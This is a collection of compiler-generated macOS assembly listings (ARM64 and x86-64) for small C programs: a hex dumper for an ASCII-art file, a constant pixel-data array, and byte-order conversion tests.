.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .subsections_via_symbols
the_stack_data/118483.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov w8, #0 str w8, [sp, #20] ; 4-byte Folded Spill stur wzr, [x29, #-4] ; kill: def $x8 killed $xzr stur xzr, [x29, #-16] mov x8, #0 str x8, [sp, #8] ; 8-byte Folded Spill str xzr, [sp, #24] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fopen ldr x1, [sp, #8] ; 8-byte Folded Reload stur x0, [x29, #-16] ldur x0, [x29, #-16] mov w2, #2 bl _fseek ldur x0, [x29, #-16] bl _ftell ldr x1, [sp, #8] ; 8-byte Folded Reload ldr w2, [sp, #20] ; 4-byte Folded Reload str x0, [sp, #24] ldur x0, [x29, #-16] bl _fseek ldur x0, [x29, #-16] ldr x1, [sp, #24] bl _getProperties ldur x0, [x29, #-16] bl _fclose ldr w0, [sp, #20] ; 4-byte Folded Reload ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function getProperties _getProperties: ; @getProperties .cfi_startproc ; %bb.0: sub sp, sp, #336 .cfi_def_cfa_offset 336 stp x28, x27, [sp, #304] ; 16-byte Folded Spill stp x29, x30, [sp, #320] ; 16-byte Folded Spill add x29, sp, #320 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str x0, [sp, #32] str x1, [sp, #24] ldr x2, [sp, #32] add x0, sp, #40 str x0, [sp, #16] ; 8-byte Folded Spill mov w1, #256 str w1, [sp, #12] ; 4-byte Folded Spill bl _fgets ldr w1, [sp, #12] ; 4-byte Folded Reload ldr x0, [sp, #16] ; 8-byte Folded Reload ldr x2, [sp, #32] bl _fgets ldr w1, [sp, #12] ; 4-byte Folded Reload ldr x0, [sp, #16] ; 8-byte Folded Reload ldr x2, [sp, #32] bl _fgets ldr x0, [sp, #32] ldr x1, [sp, #24] bl _getAsciiArt ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: bl ___stack_chk_fail LBB1_2: mov w0, #0 ldp x29, x30, [sp, #320] ; 16-byte Folded Reload ldp x28, x27, [sp, #304] ; 16-byte Folded Reload add sp, sp, #336 ret .cfi_endproc ; -- End function .p2align 2 ; -- Begin function getAsciiArt _getAsciiArt: ; @getAsciiArt .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] ldur x8, [x29, #-16] mov x1, #1 str x1, [sp, #8] ; 8-byte Folded Spill add x0, x8, #1 bl _calloc ldr x1, [sp, #8] ; 8-byte Folded Reload str x0, [sp, #24] ldr x0, [sp, #24] ldur x2, [x29, #-16] ldur x3, [x29, #-8] bl _fread str x0, [sp, #16] ldr x8, [sp, #24] ldr x9, [sp, #16] add x9, x9, #1 str x9, [sp, #16] add x8, x8, x9 strb wzr, [x8] stur xzr, [x29, #-32] stur wzr, [x29, #-36] b LBB2_1 LBB2_1: ; =>This Loop Header: Depth=1 ; Child Loop BB2_3 Depth 2 ; Child Loop BB2_5 Depth 3 ldur w8, [x29, #-36] subs w8, w8, #11 cset w8, ge tbnz w8, #0, LBB2_14 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 str wzr, [sp, #40] b LBB2_3 LBB2_3: ; Parent Loop BB2_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB2_5 Depth 3 ldr w8, [sp, #40] subs w8, w8, #67 cset w8, ge tbnz w8, #0, LBB2_12 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_3 Depth=2 ldr w8, [sp, #40] mov w9, #11 mul w8, w8, w9 mov w10, #21 mul w8, w8, w10 ldur w9, [x29, #-36] mul w9, w9, w10 add w9, w8, w9 ; implicit-def: $x8 mov x8, x9 sxtw x8, w8 stur x8, [x29, #-24] str wzr, [sp, #36] b LBB2_5 LBB2_5: ; Parent Loop BB2_1 Depth=1 ; Parent Loop BB2_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w8, [sp, #36] subs w8, w8, #20 cset w8, ge tbnz w8, #0, LBB2_10 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_5 Depth=3 ldr x8, [sp, #24] ldur x9, [x29, #-24] add x10, x9, #1 stur x10, [x29, #-24] ldrsb w10, [x8, x9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldur x8, [x29, #-32] add x8, x8, #1 stur x8, [x29, #-32] ldur x8, [x29, #-32] mov x10, #20 sdiv x9, x8, x10 mul x9, x9, x10 subs x8, x8, x9 subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB2_8 b LBB2_7 LBB2_7: ; in Loop: Header=BB2_5 Depth=3 adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf stur xzr, [x29, #-32] b LBB2_8 LBB2_8: ; in Loop: Header=BB2_5 Depth=3 b LBB2_9 LBB2_9: ; in Loop: Header=BB2_5 Depth=3 ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] b LBB2_5 LBB2_10: ; in Loop: Header=BB2_3 Depth=2 b LBB2_11 LBB2_11: ; in Loop: Header=BB2_3 Depth=2 ldr w8, [sp, #40] add w8, w8, #1 str w8, [sp, #40] b LBB2_3 LBB2_12: ; in Loop: Header=BB2_1 Depth=1 adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf ldur x8, [x29, #-32] add x8, x8, #1 stur x8, [x29, #-32] b LBB2_13 LBB2_13: ; in Loop: Header=BB2_1 Depth=1 ldur w8, [x29, #-36] add w8, w8, #1 stur w8, [x29, #-36] b LBB2_1 LBB2_14: adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf ldr x0, [sp, #24] bl _free mov w0, #0 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "./Blocks.art" l_.str.1: ; @.str.1 .asciz "r" l_.str.2: ; @.str.2 .asciz "0x%02X, " l_.str.3: ; @.str.3 .asciz "\n" l_.str.4: ; @.str.4 .asciz "0x0A, " l_.str.5: ; @.str.5 .asciz "0x0" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movq $0, -16(%rbp) movq $0, -24(%rbp) leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi callq _fopen movq %rax, -16(%rbp) movq -16(%rbp), %rdi xorl %eax, %eax movl %eax, %esi movl $2, %edx callq _fseek movq -16(%rbp), %rdi callq _ftell movq %rax, -24(%rbp) movq -16(%rbp), %rdi xorl %eax, %eax movl %eax, %esi xorl %edx, %edx callq _fseek movq -16(%rbp), %rdi movq -24(%rbp), %rsi callq _getProperties movq -16(%rbp), %rdi callq _fclose xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function getProperties _getProperties: ## @getProperties .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $288, %rsp ## imm = 0x120 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movq %rdi, -280(%rbp) movq %rsi, -288(%rbp) leaq -272(%rbp), %rdi movq -280(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets leaq -272(%rbp), %rdi movq -280(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets leaq -272(%rbp), %rdi movq -280(%rbp), %rdx movl $256, %esi ## imm = 0x100 callq _fgets movq -280(%rbp), %rdi movq -288(%rbp), %rsi callq _getAsciiArt movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB1_2 ## %bb.1: xorl %eax, %eax addq $288, %rsp ## imm = 0x120 popq %rbp retq LBB1_2: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .p2align 4, 0x90 ## -- Begin function getAsciiArt _getAsciiArt: ## @getAsciiArt .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -16(%rbp), %rdi addq $1, %rdi movl $1, %esi callq _calloc movq %rax, -56(%rbp) movq -56(%rbp), %rdi movq -16(%rbp), %rdx movq -8(%rbp), %rcx movl $1, %esi callq _fread movq %rax, -64(%rbp) movq -56(%rbp), %rax movq -64(%rbp), %rcx movq %rcx, %rdx addq $1, %rdx movq %rdx, -64(%rbp) movb $0, 1(%rax,%rcx) movq $0, -32(%rbp) movl $0, -36(%rbp) LBB2_1: ## =>This Loop Header: Depth=1 ## Child Loop BB2_3 Depth 2 ## Child Loop BB2_5 Depth 3 cmpl $11, -36(%rbp) jge LBB2_14 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl $0, -40(%rbp) LBB2_3: ## Parent Loop BB2_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB2_5 Depth 3 cmpl $67, -40(%rbp) jge LBB2_12 ## %bb.4: ## in Loop: Header=BB2_3 Depth=2 imull $11, -40(%rbp), %eax imull $21, %eax, %eax imull $21, -36(%rbp), %ecx addl %ecx, %eax cltq movq %rax, -24(%rbp) movl $0, -44(%rbp) LBB2_5: ## Parent Loop BB2_1 Depth=1 ## Parent Loop BB2_3 Depth=2 ## => This Inner Loop Header: Depth=3 cmpl $20, -44(%rbp) jge LBB2_10 ## %bb.6: ## in Loop: Header=BB2_5 Depth=3 movq -56(%rbp), %rax movq -24(%rbp), %rcx movq %rcx, %rdx addq $1, %rdx movq %rdx, -24(%rbp) movsbl (%rax,%rcx), %esi leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf movq -32(%rbp), %rax addq $1, %rax movq %rax, -32(%rbp) movq -32(%rbp), %rax movl $20, %ecx cqto idivq %rcx cmpq $0, %rdx jne LBB2_8 ## %bb.7: ## in Loop: Header=BB2_5 Depth=3 leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf movq $0, -32(%rbp) LBB2_8: ## in Loop: Header=BB2_5 Depth=3 jmp LBB2_9 LBB2_9: ## in Loop: Header=BB2_5 Depth=3 movl -44(%rbp), %eax addl $1, %eax movl %eax, -44(%rbp) jmp LBB2_5 LBB2_10: ## in Loop: Header=BB2_3 Depth=2 jmp LBB2_11 LBB2_11: ## in Loop: Header=BB2_3 Depth=2 movl -40(%rbp), %eax addl $1, %eax movl %eax, -40(%rbp) jmp LBB2_3 LBB2_12: ## in Loop: Header=BB2_1 Depth=1 leaq L_.str.4(%rip), %rdi movb $0, %al callq _printf movq -32(%rbp), %rax addq $1, %rax movq %rax, -32(%rbp) ## %bb.13: ## in Loop: Header=BB2_1 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB2_1 LBB2_14: leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf movq -56(%rbp), %rdi callq _free xorl %eax, %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "./Blocks.art" L_.str.1: ## @.str.1 .asciz "r" L_.str.2: ## @.str.2 .asciz "0x%02X, " L_.str.3: ## @.str.3 .asciz "\n" L_.str.4: ## @.str.4 .asciz "0x0A, " L_.str.5: ## @.str.5 .asciz "0x0" .subsections_via_symbols
the_stack_data/10132.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__const .globl _File15_array_length ; @File15_array_length .p2align 2 _File15_array_length: .long 900 ; 0x384 .section __DATA,__data .globl _File15 ; @File15 .p2align 3 _File15: .quad _File15_array .section __TEXT,__const _File15_array: ; @File15_array .ascii "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\000\000\000\320\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\320\000\000\000\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\377\377\377\377\377\377\377\377\335\335\335\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\377\377\377\377\335\335\335\377\000\000\000\000\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\335\335\335\377\000\000\000\000\000\000\000\000\000\000\000\377\000\000\000\317\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\340\000\000\000\377" .space 135 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__const .globl _File15_array_length ## @File15_array_length .p2align 2 _File15_array_length: .long 900 ## 0x384 .section __DATA,__data .globl _File15 ## @File15 .p2align 3 _File15: .quad _File15_array .section __TEXT,__const .p2align 4 ## @File15_array _File15_array: .ascii "\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\377\000\000\000\320\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\320\000\000\000\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\377\377\377\377\377\377\377\377\335\335\335\377\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\377\377\377\377\335\335\335\377\000\000\000\000\000\000\000\377\000\000\000\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\000\000\000\377\335\335\335\377\000\000\000\000\000\000\000\000\000\000\000\377\000\000\000\317\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\300\000\000\000\340\000\000\000\377" .space 135 .subsections_via_symbols
the_stack_data/242330255.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #8] str wzr, [sp, #20] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #20] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB0_4 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #8] ldr w9, [sp, #20] lsl w9, w9, #1 ldrb w8, [x8, w9, uxtw] ldr x9, [sp, #8] ldr w10, [sp, #20] lsl w10, w10, #1 add w10, w10, #1 ldrb w9, [x9, w10, uxtw] orr w8, w8, w9, lsl #8 ldr x9, [sp, #24] ldr w10, [sp, #20] ; kill: def $x10 killed $w10 strh w8, [x9, x10, lsl #1] b LBB0_3 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB0_1 LBB0_4: add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _bar ; -- Begin function bar .p2align 2 _bar: ; @bar .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 str x0, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #8] str wzr, [sp, #20] b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #20] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB1_4 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #8] ldr w9, [sp, #20] lsl w9, w9, #1 ldrb w9, [x8, w9, uxtw] ldr x8, [sp, #8] ldr w10, [sp, #20] lsl w10, w10, #1 add w10, w10, #1 ldrb w8, [x8, w10, uxtw] orr w8, w8, w9, lsl #8 ldr x9, [sp, #24] ldr w10, [sp, #20] ; kill: def $x10 killed $w10 strh w8, [x9, x10, lsl #1] b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB1_1 LBB1_4: add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #160 .cfi_def_cfa_offset 160 stp x29, x30, [sp, #144] ; 16-byte Folded Spill add x29, sp, #144 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur wzr, [x29, #-8] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB2_4 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldur w8, [x29, #-8] ldur w10, [x29, #-8] mov w9, #64 subs w9, w9, w10 add w8, w8, w9, lsl #8 ldur w9, [x29, #-8] mov x10, x9 add x9, sp, #8 strh w8, [x9, x10, lsl #1] b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB2_1 LBB2_4: add x0, sp, #8 bl _foo stur wzr, [x29, #-8] b LBB2_5 LBB2_5: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB2_10 b LBB2_6 LBB2_6: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-8] mov x9, x8 add x8, sp, #8 ldrh w8, [x8, x9, lsl #1] ldur w9, [x29, #-8] ldur w11, [x29, #-8] mov w10, #64 subs w10, w10, w11 add w9, w9, w10, lsl #8 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB2_8 b LBB2_7 LBB2_7: bl _abort LBB2_8: ; in Loop: Header=BB2_5 Depth=1 b LBB2_9 LBB2_9: ; in Loop: Header=BB2_5 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB2_5 LBB2_10: stur wzr, [x29, #-8] b LBB2_11 LBB2_11: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB2_14 b LBB2_12 LBB2_12: ; in Loop: Header=BB2_11 Depth=1 ldur w8, [x29, #-8] ldur w10, [x29, #-8] mov w9, #64 subs w9, w9, w10 add w8, w8, w9, lsl #8 ldur w9, [x29, #-8] mov x10, x9 add x9, sp, #8 strh w8, [x9, x10, lsl #1] b LBB2_13 LBB2_13: ; in Loop: Header=BB2_11 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB2_11 LBB2_14: add x0, sp, #8 bl _bar stur wzr, [x29, #-8] b LBB2_15 LBB2_15: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-8] subs w8, w8, #64 cset w8, hs tbnz w8, #0, LBB2_20 b LBB2_16 LBB2_16: ; in Loop: Header=BB2_15 Depth=1 ldur w8, [x29, #-8] mov x9, x8 add x8, sp, #8 ldrh w8, [x8, x9, lsl #1] ldur w10, [x29, #-8] mov w9, #64 subs w9, w9, w10 ldur w10, [x29, #-8] add w9, w9, w10, lsl #8 subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB2_18 b LBB2_17 LBB2_17: bl _abort LBB2_18: ; in Loop: Header=BB2_15 Depth=1 b LBB2_19 LBB2_19: ; in Loop: Header=BB2_15 Depth=1 ldur w8, [x29, #-8] add w8, w8, #1 stur w8, [x29, #-8] b LBB2_15 LBB2_20: mov w0, #0 ldp x29, x30, [sp, #144] ; 16-byte Folded Reload add sp, sp, #160 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) movl $0, -12(%rbp) LBB0_1: ## =>This Inner Loop Header: Depth=1 cmpl $64, -12(%rbp) jae LBB0_4 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movq -24(%rbp), %rax movl -12(%rbp), %ecx shll $1, %ecx movl %ecx, %ecx ## kill: def $rcx killed $ecx movzbl (%rax,%rcx), %eax movq -24(%rbp), %rcx movl -12(%rbp), %edx shll $1, %edx addl $1, %edx movl %edx, %edx ## kill: def $rdx killed $edx movzbl (%rcx,%rdx), %ecx shll $8, %ecx orl %ecx, %eax movw %ax, %dx movq -8(%rbp), %rax movl -12(%rbp), %ecx ## kill: def $rcx killed $ecx movw %dx, (%rax,%rcx,2) ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB0_1 LBB0_4: popq %rbp retq .cfi_endproc ## -- End function .globl _bar ## -- Begin function bar .p2align 4, 0x90 _bar: ## @bar .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) movl $0, -12(%rbp) LBB1_1: ## =>This Inner Loop Header: Depth=1 cmpl $64, -12(%rbp) jae LBB1_4 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -24(%rbp), %rax movl -12(%rbp), %ecx shll $1, %ecx movl %ecx, %ecx ## kill: def $rcx killed $ecx movzbl (%rax,%rcx), %eax shll $8, %eax movq -24(%rbp), %rcx movl -12(%rbp), %edx shll $1, %edx addl $1, %edx movl %edx, %edx ## kill: def $rdx killed $edx movzbl (%rcx,%rdx), %ecx orl %ecx, %eax movw %ax, %dx movq -8(%rbp), %rax movl -12(%rbp), %ecx ## kill: def $rcx killed $ecx movw %dx, (%rax,%rcx,2) ## %bb.3: ## in Loop: Header=BB1_1 Depth=1 movl -12(%rbp), %eax addl $1, %eax movl %eax, -12(%rbp) jmp LBB1_1 LBB1_4: popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $144, %rsp movl $0, -4(%rbp) movl $0, -8(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 cmpl $64, -8(%rbp) jae LBB2_4 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movl -8(%rbp), %eax movl $64, %ecx subl -8(%rbp), %ecx shll $8, %ecx addl %ecx, %eax movw %ax, %cx movl -8(%rbp), %eax ## kill: def $rax killed $eax movw %cx, -136(%rbp,%rax,2) ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB2_1 LBB2_4: leaq -136(%rbp), %rdi callq _foo movl $0, -8(%rbp) LBB2_5: ## =>This Inner Loop Header: Depth=1 cmpl $64, -8(%rbp) jae LBB2_10 ## %bb.6: ## in Loop: Header=BB2_5 Depth=1 movl -8(%rbp), %eax ## kill: def $rax killed $eax movzwl -136(%rbp,%rax,2), %eax movl -8(%rbp), %ecx movl $64, %edx subl -8(%rbp), %edx shll $8, %edx addl %edx, %ecx cmpl %ecx, %eax je LBB2_8 ## %bb.7: callq _abort LBB2_8: ## in Loop: Header=BB2_5 Depth=1 jmp LBB2_9 LBB2_9: ## in Loop: Header=BB2_5 Depth=1 movl -8(%rbp), %eax addl $1, %eax 